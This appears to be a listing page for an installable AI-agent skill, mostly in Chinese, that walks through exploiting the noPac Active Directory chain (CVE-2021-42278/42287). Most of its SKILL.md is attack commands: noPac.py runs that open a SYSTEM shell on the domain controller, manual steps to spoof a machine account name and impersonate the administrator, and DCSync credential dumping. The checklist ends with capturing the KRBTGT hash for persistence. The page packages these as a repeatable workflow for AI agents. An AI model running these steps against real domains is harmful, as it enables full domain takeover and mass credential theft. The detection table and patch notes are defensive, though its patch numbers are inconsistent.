exploiting-nopac-cve-2021-42278-42287
利用 noPac 漏洞链(CVE-2021-42278 sAMAccountName 欺骗和 CVE-2021-42287 KDC PAC 混淆),在活动目录环境中从普通域用户提升至域管理员权限。
Best use case
exploiting-nopac-cve-2021-42278-42287 is best used when you need a repeatable AI agent workflow instead of a one-off prompt.
利用 noPac 漏洞链(CVE-2021-42278 sAMAccountName 欺骗和 CVE-2021-42287 KDC PAC 混淆),在活动目录环境中从普通域用户提升至域管理员权限。
Teams using exploiting-nopac-cve-2021-42278-42287 should expect a more consistent output, faster repeated execution, less prompt rewriting.
When to use this skill
- You want a reusable workflow that can be run more than once with consistent structure.
When not to use this skill
- You only need a quick one-off answer and do not need a reusable workflow.
- You cannot install or maintain the underlying files, dependencies, or repository context.
Installation
Claude Code / Cursor / Codex
Manual Installation
- Download SKILL.md from GitHub
- Place it in
.claude/skills/exploiting-nopac-cve-2021-42278-42287/SKILL.mdinside your project - Restart your AI agent — it will auto-discover the skill
How exploiting-nopac-cve-2021-42278-42287 Compares
| Feature / Agent | exploiting-nopac-cve-2021-42278-42287 | Standard Approach |
|---|---|---|
| Platform Support | Not specified | Limited / Varies |
| Context Awareness | High | Baseline |
| Installation Complexity | Unknown | N/A |
Frequently Asked Questions
What does this skill do?
利用 noPac 漏洞链(CVE-2021-42278 sAMAccountName 欺骗和 CVE-2021-42287 KDC PAC 混淆),在活动目录环境中从普通域用户提升至域管理员权限。
Where can I find the source code?
You can find the source code on GitHub using the link provided at the top of the page.
SKILL.md Source
# 利用 noPac(CVE-2021-42278 / CVE-2021-42287)
## 概述
noPac 是一个严重的漏洞利用链,结合了两个活动目录漏洞:CVE-2021-42278(sAMAccountName 欺骗)和 CVE-2021-42287(KDC PAC 混淆)。两者合并可以让任何经过认证的域用户提升至域管理员权限,可能在 60 秒内实现完整域入侵。CVE-2021-42278 允许攻击者修改机器账户的 sAMAccountName 属性以匹配域控制器的名称(去掉末尾的 $)。CVE-2021-42287 利用 Kerberos PAC 验证中的缺陷,当 KDC 找不到重命名的账户时,会自动附加 $ 并为域控制器账户签发票据。微软于 2021 年 11 月修补了这两个漏洞(KB5008380 和 KB5008602),但许多环境仍未打补丁。该漏洞由 cube0x0 和 Ridter 于 2021 年 12 月公开发布。
## 目标
- 扫描目标域以检测 noPac 漏洞(CVE-2021-42278/42287)
- 创建或利用具有修改后 sAMAccountName 的机器账户
- 利用 KDC PAC 混淆获取域控制器的 TGT
- 使用 DC 票据执行 DCSync 并转储域凭据
- 从普通域用户账户获得域管理员访问权限
- 记录包含证据的完整利用链
## MITRE ATT&CK 映射
- **T1068** - 利用漏洞进行权限提升
- **T1136.002** - 创建账户:域账户
- **T1078.002** - 有效账户:域账户
- **T1558** - 窃取或伪造 Kerberos 票据
- **T1003.006** - 操作系统凭据转储:DCSync
## 实施步骤
### 阶段一:漏洞扫描
1. 使用 noPac 扫描器检查域是否易受攻击:
```bash
# 使用 cube0x0 的 noPac 扫描器
python3 scanner.py domain.local/user:'Password123' -dc-ip 10.10.10.1
# 使用 CrackMapExec 模块
crackmapexec smb 10.10.10.1 -u user -p 'Password123' -M nopac
```
2. 验证 MachineAccountQuota(默认为 10,允许任何用户加入计算机):
```bash
# 通过 LDAP 检查 MachineAccountQuota
python3 -c "
import ldap3
server = ldap3.Server('10.10.10.1')
conn = ldap3.Connection(server, 'domain.local\\user', 'Password123', auto_bind=True)
conn.search('DC=domain,DC=local', '(objectClass=domain)', attributes=['ms-DS-MachineAccountQuota'])
print(conn.entries[0]['ms-DS-MachineAccountQuota'])
"
```
### 阶段二:使用 noPac 工具利用
1. 运行完整的 noPac 漏洞利用链:
```bash
# 使用 cube0x0 的 noPac(在 DC 上获取 shell)
python3 noPac.py domain.local/user:'Password123' -dc-ip 10.10.10.1 \
-dc-host DC01 -shell --impersonate administrator -use-ldap
# 使用 Ridter 的 noPac(替代实现)
python3 noPac.py domain.local/user:'Password123' -dc-ip 10.10.10.1 \
--impersonate administrator -dump
```
2. 该漏洞利用工具自动:
- 创建新的机器账户(或使用现有的)
- 将机器账户的 sAMAccountName 重命名为与 DC 匹配(如 "DC01")
- 为欺骗的账户名请求 TGT
- 恢复原始 sAMAccountName
- 使用 S4U2self 获取模拟目标用户的服务票据
- KDC 找不到匹配 "DC01" 的账户,回退到 "DC01$"(真实 DC)
### 阶段三:后渗透
1. 使用获得的域控制器票据执行 DCSync:
```bash
# 使用 Kerberos 票据通过 secretsdump.py 进行 DCSync
export KRB5CCNAME=administrator.ccache
secretsdump.py -k -no-pass domain.local/administrator@DC01.domain.local
# 或直接通过 noPac shell(shell 以 SYSTEM 身份在 DC 上运行)
```
2. 或者,获取半交互式 shell:
```bash
python3 noPac.py domain.local/user:'Password123' -dc-ip 10.10.10.1 \
-dc-host DC01 -shell --impersonate administrator -use-ldap
```
### 阶段四:手动利用步骤
1. 创建机器账户:
```bash
addcomputer.py -computer-name 'ATTACKPC$' -computer-pass 'AttackPass123' \
-dc-ip 10.10.10.1 domain.local/user:'Password123'
```
2. 清除 SPN 并重命名 sAMAccountName:
```bash
# 将机器账户的 sAMAccountName 重命名为 DC 名称(不含 $)
renameMachine.py -current-name 'ATTACKPC$' -new-name 'DC01' \
-dc-ip 10.10.10.1 domain.local/user:'Password123'
```
3. 为欺骗的名称请求 TGT:
```bash
getTGT.py -dc-ip 10.10.10.1 domain.local/'DC01':'AttackPass123'
```
4. 恢复原始机器名称:
```bash
renameMachine.py -current-name 'DC01' -new-name 'ATTACKPC$' \
-dc-ip 10.10.10.1 domain.local/user:'Password123'
```
5. 使用 S4U2self 进行模拟:
```bash
export KRB5CCNAME=DC01.ccache
getST.py -self -impersonate 'administrator' -altservice 'cifs/DC01.domain.local' \
-k -no-pass -dc-ip 10.10.10.1 domain.local/'ATTACKPC$'
```
## 工具与资源
| 工具 | 用途 | 平台 |
|------|---------|----------|
| noPac(cube0x0) | 自动化扫描器和利用工具 | Python |
| noPac(Ridter) | 替代漏洞利用实现 | Python |
| Impacket | Kerberos 票据操控、DCSync | Python |
| CrackMapExec | 漏洞扫描模块 | Python |
| Rubeus | Windows Kerberos 票据操作 | Windows(.NET) |
| secretsdump.py | 后渗透凭据转储 | Python |
## CVE 详情
| CVE | 描述 | CVSS | 补丁 |
|-----|-------------|------|-------|
| CVE-2021-42278 | sAMAccountName 欺骗(机器账户) | 7.5 | KB5008102 |
| CVE-2021-42287 | KDC PAC 混淆/权限提升 | 7.5 | KB5008380 |
## 检测特征
| 指标 | 检测方法 |
|-----------|-----------------|
| 机器账户 sAMAccountName 更改 | 带 sAMAccountName 修改的事件 4742(计算机账户已更改) |
| 新机器账户创建 | 事件 4741(计算机对象已创建) |
| 不带末尾 $ 的账户的 TGT 请求 | Kerberos 审计日志分析 |
| 来自非 DC 机器账户的 S4U2self 请求 | 带异常服务票据请求的事件 4769 |
| 快速序列:创建账户、重命名、请求 TGT | 针对 noPac 攻击模式的 SIEM 关联规则 |
## 验证标准
- [ ] 已扫描域以检测 noPac 漏洞
- [ ] 已验证 MachineAccountQuota(默认 10)
- [ ] 漏洞利用已成功执行(获取 shell 或 DCSync)
- [ ] 已从普通用户获得域管理员权限
- [ ] 已执行 DCSync 以转储域凭据
- [ ] 已获取 KRBTGT 哈希用于持久化验证
- [ ] 已记录包含时间戳的攻击链
- [ ] 已验证补丁状态(KB5008380、KB5008602)Related Skills
exploiting-zerologon-vulnerability-cve-2020-1472
利用 Netlogon 远程协议中的 Zerologon 漏洞(CVE-2020-1472),通过将机器账户密码重置为空来实现域控制器入侵。
exploiting-websocket-vulnerabilities
在授权安全评估中测试 WebSocket 实现的身份验证绕过、跨站劫持、注入攻击和不安全消息处理。
exploiting-vulnerabilities-with-metasploit-framework
Metasploit Framework 是全球最广泛使用的渗透测试平台,由 Rapid7 维护,包含超过 2300 个漏洞利用模块、1200 个辅助模块和 400 个后渗透模块
exploiting-type-juggling-vulnerabilities
利用 PHP 宽松比较运算符导致的类型转换漏洞,通过类型强制攻击绕过身份验证、规避哈希验证并操纵应用程序逻辑。
exploiting-template-injection-vulnerabilities
检测并利用 Jinja2、Twig、Freemarker 等模板引擎中的服务器端模板注入(SSTI)漏洞,实现远程代码执行。
exploiting-sql-injection-with-sqlmap
在授权渗透测试中使用 sqlmap 检测并利用 SQL 注入漏洞以提取数据库内容。
exploiting-sql-injection-vulnerabilities
在授权渗透测试中,使用手动技术和 sqlmap 等自动化工具识别并利用 Web 应用程序中的 SQL 注入漏洞。测试人员通过基于错误、基于联合、布尔盲注和时间盲注技术,在所有主要数据库引擎(MySQL、PostgreSQL、MSSQL、Oracle)中检测注入点,以演示数据提取、认证绕过和潜在的远程代码执行。
exploiting-smb-vulnerabilities-with-metasploit
在授权渗透测试中,使用 Metasploit Framework 识别并利用 SMB 协议漏洞, 演示企业网络中未打补丁的 Windows 系统、错误配置的共享和弱认证带来的风险。
exploiting-server-side-request-forgery
在授权渗透测试中识别并利用 SSRF 漏洞,访问内部服务、云元数据及受限网络资源。
exploiting-race-condition-vulnerabilities
使用 Turbo Intruder 的单包攻击技术检测并利用 Web 应用程序中的竞态条件漏洞,绕过速率限制、重复交易以及利用检查时间与使用时间(TOCTOU)缺陷。
exploiting-prototype-pollution-in-javascript
检测并利用客户端和服务器端应用程序中的 JavaScript 原型链污染漏洞,通过属性注入实现 XSS、RCE 和身份验证绕过。
exploiting-oauth-misconfiguration
在安全评估期间识别并利用 OAuth 2.0 和 OpenID Connect 错误配置,包括重定向 URI 操纵、令牌泄漏和授权码窃取。